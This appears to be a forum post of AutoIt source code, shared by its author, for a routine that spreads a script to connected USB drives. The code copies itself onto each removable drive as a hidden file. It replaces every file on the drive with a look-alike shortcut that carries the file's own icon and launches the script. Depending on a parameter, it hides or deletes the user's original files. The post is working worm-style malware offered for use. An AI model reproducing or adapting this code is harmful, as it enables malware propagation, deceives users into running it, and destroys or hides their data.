#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.8.1
Author: Naker90
Script Function:
Esparcir un archivo a los perifericos USB conectados al equipo
Parametro:
$sHideOrDelete => Si este parametro es 0 los archivos que se encuentran dentro del USB seran ocultados, de lo contario
si este parametro es distinto de 0 los archivos seran borrados
#ce ----------------------------------------------------------------------------
#include <File.au3>
#include <GDIPlus.au3>
Func Spread_USB($sHideOrDelete)
Local $sUSB = Detect_USB()
If $sUSB = '' Then
Exit
Else
Local $sArray = StringSplit($sUSB, '@')
For $i = 0 To UBound($sArray) - 1
If Not FileExists($sArray[$i] & '\' & @ScriptName) Then
Local $sFiles = _FileListToArray($sArray[$i] & '\')
For $si = 1 To UBound($sFiles) - 1
_ExtractIcon($sArray[$i] & '\' & $sFiles[$si], $sArray[$i] & '\Icon' & $si & '.ico', 1)
DllCall('Kernel32.dll', 'int', 'SetFileAttributes', 'str', $sArray[$i] & '\Icon' & $si & '.ico', 'dword', 0x2)
FileCreateShortcut($sArray[$i] & '\' & @ScriptName, $sArray[$i] & '\' & $sFiles[$si] & '.lnk', '', '', '', $sArray[$i] & '\Icon' & $si & '.ico')
If $sHideOrDelete <> 0 Then
FileDelete($sArray[$i] & '\' & $sFiles[$si])
Else
DllCall('Kernel32.dll', 'int', 'SetFileAttributes', 'str', $sArray[$i] & '\' & $sFiles[$si], 'dword', 0x2)
EndIf
Next
FileCopy(@ScriptFullPath, $sArray[$i] & '\' & @ScriptName)
DllCall('Kernel32.dll', 'int', 'SetFileAttributes', 'str', $sArray[$i] & '\' & @ScriptName, 'dword', 0x2)
EndIf
Next
EndIf
EndFunc ;==>Spread_USB
Func _ExtractIcon($source, $outsource, $iconnumber)
$Ret = DllCall("shell32", "long", "ExtractAssociatedIcon", "int", 0, "str", $source, "int*", $iconnumber)
$hIcon = $Ret[0]
_GDIPlus_Startup()
$pBitmapdll = DllCall($ghGDIPDll, "int", "GdipCreateBitmapFromHICON", "ptr", $hIcon, "int*", 0)
$pBitmap = $pBitmapdll[2]
_WinAPI_DestroyIcon($Ret[0])
_GDIPlus_ImageSaveToFileEx($pBitmap, $outsource, "{557CF400-1A04-11D3-9A73-0000F81EF32E}")
_GDIPlus_ImageDispose($pBitmap)
_GDIPlus_Shutdown()
EndFunc ;==>_ExtractIconFromExe
Func Detect_USB()
Local $sReturn
Local $sDriver = DriveGetDrive('REMOVABLE')
If $sDriver <> 0 Then
For $i = 1 To $sDriver[0]
$sReturn = $sReturn & $sDriver[$i] & '@'
Next
EndIf
Return StringUpper($sReturn)
EndFunc ;==>Detect_USB
Saludos Hola, Aquí les dejo este Spread para USB. La función para extraer el icono no es mía la encontré en autoitscript.com pero no se quien es el autor, no lo ponía.
Skype: naker.noventa